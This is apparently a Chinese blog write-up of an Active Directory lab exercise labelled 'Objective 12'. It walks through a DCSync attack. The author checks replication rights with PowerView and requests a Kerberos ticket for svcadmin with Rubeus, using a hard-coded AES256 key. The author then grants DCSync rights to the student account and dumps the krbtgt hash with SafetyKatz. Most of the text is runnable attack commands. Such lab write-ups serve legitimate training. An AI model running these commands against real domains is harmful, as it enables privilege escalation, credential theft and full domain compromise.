Objective 12

任务

  1. 查看student用户是否有Replication(DCSync)权限
  2. 如果有 执行DCSync攻击拉取krbtgt用户的hash
  3. 如果没有 添加DCSync权限并执行

 

. C:\AD\Tools\PowerView.ps1

 

Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object {$_ | AddMember NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "student832"}

屏幕截图 2024-09-07 194648

空的 表示我这个用户没有Replication 权限

 

使用DA权限

C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
. C:\AD\Tools\PowerView.ps1

给student用户授予DCsync权限

Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student832 -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

屏幕截图 2024-09-07 200709

 

重新开一个终端再次检查DCsync权限

屏幕截图 2024-09-07 201313

成功拿到权限

 

现在 直接利用

C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe -args "lsadump::dcsync /user:dcorp\krbtgt" "exit"

屏幕截图 2024-09-07 201539

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片